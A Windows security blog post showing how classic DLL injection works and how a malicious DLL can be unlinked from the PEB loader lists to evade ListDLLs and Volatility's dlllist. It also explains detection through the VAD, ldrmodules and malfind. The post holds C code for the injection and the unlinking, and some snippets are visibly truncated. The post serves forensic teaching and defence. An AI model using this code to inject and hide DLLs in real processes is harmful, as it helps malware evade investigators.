Hiding in Plain Sight: Unlinking Malicious DLLs from the PEB

In this post, we take a look at an anti-forensics technique that malware can leverage to hide injected DLLs. We dive into specific details of the Windows Process Environment Block (PEB) and how to abuse it to hide a malicious loaded DLL.

Background: You may be wondering why you’re reading a post about Windows internals if I’m much more focused on cloud security these days. I initially wrote this blog post exactly 3 years ago, in April 2020. I got stuck at explaining why Process Hacker would detect the DLL Unlinking technique described here, so I stopped writing and never got to publish it. Yesterday at KubeCon I had dinner with the awesome Brad Geesaman, who encouraged me to publish it. Thank you Brad for making me go the extra mile!

Disclaimer: The technique we discuss in this post is nothing but new. In fact, it’s probably well over a decade old. That said, I was not able to find any actionable and detailed write-up on how to use it in practice, so this post is my journey!

A review of DLL injection (T1055.001)

DLL injection is a common technique used by many pieces of malware and threat actors. There are multiple DLL injection techniques, we’ll focus here on “classical” DLL injection where a malicious process injects a DLL existing on the disk into a target process. A popular stealthier and more complex variant is reflective DLL injection. Another highly popular technique is DLL Search Order Hijacking.

DLL injection 101

Here’s the steps a malicious process typically takes to perform a “classical DLL injection”:

  • Ensure the DLL to be injected exists on disk
  • Get a handle on process into which to inject, using OpenProcess
int targetPid = find_process("target.exe");
HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
  • Allocate a read-write memory region in the target process’ memory space and write to it the path of the DLL to inject
#define DLL_TO_INJECT "C:\\Windows\\Temp\\malicious.dll"

LPVOID targetDataPage = VirtualAllocEx(hTargetProcess, NULL, strlen(DLL_TO_INJECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hTargetProcess, targetDataPage, DLL_TO_INJECT, strlen(DLL_TO_INJECT), NULL)
  • Retrieve the address of the LoadLibaryA function. (Note that this can be done in the context of the malicious process because on Windows, ASLR maps kernel32.dll to the same (virtual) base address for all processes until next reboot)
HMODULE hModule = GetModuleHandleA("kernel32.dll");
FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
  • Create a thread in the target process using CreateRemoteThread, passing it the address of LoadLibraryA as an entrypoint and the address of the DLL to inject as an argument.
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(
    NULL, // Security attributes
    0, // Stack size
    (LPTHREAD_START_ROUTINE) load_library_addr, 
    0, // Creation flags

This will cause a new thread to be spawned in the target process and to essentially call LoadLibraryA("C:\\Windows\\Temp\\malicious.dll"), triggering the entrypoint of the malicious DLL.

Full sample code here.


The DLL to inject can be compiled in an IDE such as Visual Studio. When Windows loads it in the target process following our call to CreateRemoteThread, it will automatically call its DllMain function with the flag DLL_PROCESS_ATTACH. Here is a minimal example of what the code of the DLL could look like, assuming it does nothing for 5 minutes and then exits.

BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {
    if (event == DLL_PROCESS_ATTACH) {
        for (int i = 0; i < 300; ++i) {
    return true;

Detecting DLL injection

This form of DLL injection is pretty noisy and relatively easy to identify. If we inject our DLL in a program (say, MS Paint) and examine it using Process Explorer, Process Hacker, or ListDLLs, we can clearly see the malicious DLL:

# Using ListDLLs from Sysinternals
PS> Invoke-WebRequest https://live.sysinternals.com/Listdlls64.exe -OutFile listdlls.exe
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
0x000000008c3f0000  0xb000    C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

If we collect a memory dump of the machine, we can also easily see the DLL using one of Volatility’s most popular modules, dlllist:

$ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe 
Volatility Foundation Volatility Framework 2.6.1                                                                                                                                                             
mspaint.exe pid:   9340                                                                                                                                                                                      
Command line : mspaint

Base               Path                                                                                                                 
------------------ ----                                                                                                                 
0x00007ff6db540000 C:\Windows\system32\mspaint.exe
0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

A common warning

When using volatility’s dlllist command, you might run into this warning:

The dlllist module will no longer see the DLLs which are unlinked from the LDR lists” (link)

“Considering that a malware can unlink, change the name, or substitute libraries of a system” (link)

The SANS FOR508 I took in Amsterdam a few years ago also mentions the concepts of “DLL unlinking”. Unfortunately, I was unable to find any actual code or explanation of how an implementation would work in practice. So let’s dive right into it!

Show me your DLLs and I’ll tell you who you are

Malware authors have an obvious interest to hide malicious DLLs they inject from analysis tools such as DllList or Volatility. In order to understand how to hide from them, let’s first try and understand how they list the DLLs loaded by a process!

Enumerating DLLs from the PEB

Most tools use the PEB, which is a data structure populated by the kernel in the virtual memory space of each process when it is created. The PEB contains, amongst others, a pointer to a PEB_LDR_DATA structure which contains 3 doubly-linked lists of LDR_DATA_TABLE_ENTRY elements:

  • InLoadOrderModuleList
  • InMemoryOrderModuleList
  • InInitializationOrderModuleList

Each of these 3 lists contains the same entries but in a different order, as their names indicate. For instance, InLoadOrderModuleList is a doubly-linked list containing the DLLs in the order in which they were loaded. The way these lists are chained looks a bit confusing at first, at least for me. Essentially, each element is chained in each of the 3 lists using a chaining attribute called In{Load,Memory,Initialization}OrderLinks containing both a back pointer (Blink) to the previous element of the list, and a forward pointer (Flink) to the next element of the list. Here is what the chaining and data structures look like: (full resolution downloadable version here)

To iterate over all the loaded DLLs, we need to retrieve a pointer to the list we want to use from the PEB, say InMemoryOrderModuleList. Then, we iterate over the entries using the Flink pointer of each entry. Note that the Flink pointer will point to the InMemoryOrderLinks structure of the next entry – we still need to substract the relevant offset from this address to reach the beginning of the LDR_DATA_TABLE_ENTRY structure, which is quite visible on the schema above – in order to do that we can use the CONTAINING_RECORD helper macro.

// Returns a pointer to the PEB by reading the FS or GS registry
// cf. https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
PEB* get_peb() {
#ifdef _WIN64
    return (PEB*) __readgsqword(0x60);
    return  (PEB*) __readfsdword(0x30);

// Prints a list of DLLs loaded in the current process
void list_dlls(void) {
    PEB* peb = get_peb();
    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;

    while (current->Flink != first) {
        // current->Flink points to the 'InMemoryOrderLinks' field of the LDR_DATA_TABLE_ENTRY we want to reach
        // We use CONTAINING_RECORD to substract the proper offset from this pointer and reach the beginning of the structure
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);
        current = current->Flink;

If we include this piece of code in our malicious DLL, inject it in mspaint.exe, and write the output to a file instead of using printf, we get:

C:\Windows\system32\mspaint.exe loaded at 00007FF6DB540000
C:\Windows\SYSTEM32\ntdll.dll loaded at 00007FF8DE540000
C:\Windows\System32\KERNEL32.DLL loaded at 00007FF8DC850000
C:\Windows\System32\KERNELBASE.dll loaded at 00007FF8DB4D0000

InInitializationOrder and InLoadOrder lists

Now – as you can see in the code above, we used the InMemoryOrderModuleList doubly-linked list. Can we use the two others? We can, but with a little extra work. Indeed, if you take a look at the PEB_LDR_DATA and LDR_DATA_TABLE_ENTRY structure fields exposed by winternl.h, you’ll see that it exposes only InMemoryOrderModuleList (list head) and InMemoryOrderLinks (chaining of the entries):

// Main PEB loader data structure
struct PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;

// Data structure corresponding to each loaded DLL
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;

The Reserved field names show that for some reason, Microsoft didn’t want people to use them – likely for stability reasons, because those are internal data structures. That said, with a bit of googling and basic debugging, we can redefine the LDR_DATA_TABLE_ENTRY structure to be able to use the other 2 lists in our code as well – we’ll need that later on.

typedef struct _MY_LDR_DATA_TABLE_ENTRY
    LIST_ENTRY      InLoadOrderLinks;
    LIST_ENTRY      InMemoryOrderLinks;
    LIST_ENTRY      InInitializationOrderLinks;
    PVOID           DllBase;
    PVOID           EntryPoint;
    ULONG           SizeOfImage;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  ignored;
    ULONG           Flags;
    SHORT           LoadCount;
    SHORT           TlsIndex;
    LIST_ENTRY      HashTableEntry;
    ULONG           TimeDateStamp;

Assuming we now want to access the InLoadOrderModuleList list, we can now do so by:

  • Accessing the first element of InMemoryOrderModuleList
  • Using its InLoadOrderLinks chaining structure

Example, very similar to the previous example but using InLoadOrderModuleList and the InLoadOrderLinks chaining structures:

void list_dlls_with_init_order_chaining(void) {
	PEB* peb = get_peb();

	// Retrieve the entry in memory order
	LIST_ENTRY* inMemoryOrderList = &peb->Ldr->InMemoryOrderModuleList;
	MY_LDR_DATA_TABLE_ENTRY* firstInMemoryEntry = CONTAINING_RECORD(inMemoryOrderList, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

	// Then use the 'in load order' chaining links to iterate over DLLs
	LIST_ENTRY* current = &firstInMemoryEntry->InLoadOrderLinks;
	LIST_ENTRY* first = current;
	while (current->Flink != first) {
		printf("%wZ loaded\n", entry->FullDllName);
		current = current->Flink;

Side note: This is not ideal because when we iterate on this list, we will not start at its first element. Instead, we will start by the first element of InMemoryOrderModuleList, and then only continue in the right order. (To do it properly, we’d need to redefine PEB_LDR_DATA with the proper fields to do so, and I didn’t manage to do it – plus, we don’t need it here.)

Anti-forensics technique: unlinking malicious DLLs from the PEB

Now that we have a proper understanding of how some forensics examination tools list DLLs in a process, we can look into how to hide from them.

The idea is quite simple:

  • Iterate over one of the PEB’s linked lists containing the list of loaded DLLs
  • When we find our malicious DLL, unlink it from these lists

Here’s what our PEB will look like in the end (full size here):

Notice how the entry for the DLL malicious.dll is still there in memory but not in any of the linked lists any more?

The code to perform the unlinking is reproduced below.

void unlink_peb(void) {
    PEB* peb = get_peb();
    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;
    while (current->Flink != first) {
        char dllName[256];
        snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);
        if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {
            // Found the DLL! Unlink it from the 3 doubly linked lists
            entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;
            entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;

            entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;
            entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;

            entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;
            entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;

        current = current->Flink;

What happens now if we search for our malicious DLL using ListDLLs?

PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"

It misses it. What about Volatility’s dlllist if we take a memory image of the machine?

$ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious

Same. And that’s expected – here’s what the Volatility documentation says abouto dlllist:

To display a process’s loaded DLLs, use the dlllist command. It walks the doubly-linked list of _LDR_DATA_TABLE_ENTRY structures which is pointed to by the PEB’s InLoadOrderModuleList

We’ve precisely unlinked our DLL from InLoadOrderModule list, and that explain why dlllist now misses it.

Detecting DLL unlinking

When analyzing a memory dump, there are two things we’re interested in:

  • Find all DLLs loaded by a process, including if it’s been unlinked
  • Understand if a DLL we find has been unlinked from the PEB doubly linked lists. In a forensics investigation this is essential, as it indicates an attacker or malware is actively trying to hide on the system.

For this purpose, we can use the VAD (Virtual Address Descriptors) is a low-level Kernel data structure that tracks how memory regions are mapped to specific processes and DLLs. When a malicious actor unlinks a DLL from the PEB (in user space), this won’t affect the VAD. Consequently, we can compare DLLs referenced in the PEB with DLLs from the VAD and see if there’s a discrepancy.

Some popular tools use the VAD and will catch unlinked DLLs:

  • Process Hacker. As it seems to be using the PEB to list DLLs, this was surprising to me. Most likely, it’s actually installing a kernel driver and leveraging the VAD as well.
  • Volatility’s malfind. It uses ldrmodules under the hood to see if there are DLLs in the VAD that aren’t in the PEB.

DLL unlinking in the wild

While DLL unlinking seems to be mentioned quite frequently, I was only able to find one example in the wild: the Flame worm (another analysis here), a cousin of Stuxnet. There might be more, and I didn’t much time looking. Let me know if you have more examples!

Future research

As of 2023, I’m focusing on cloud and container security, and I’m unlikely to focus on Windows security or forensics in a foreseeable future. That said, there are a few things I wanted to experiment with – if you’re into it, give it a try and let me know what you found in the comments or on Twitter! These are extract from my notes I wrote 3 years ago, so forgive me if they don’t 100% make sense.

  1. If we overwrite DLL names in the PEB, can we make it look like the loaded DLL is a legitimate one?
  2. If we unmap the DLL from memory, can we hide it?
  3. Can we use open handles on DLLs in the memory dump to identify that we have a handle to a DLL that isn’t there and might have been hidden?

Additional resources that I’ve found to be useful:

Leave a Reply

Your email address will not be published. Required fields are marked *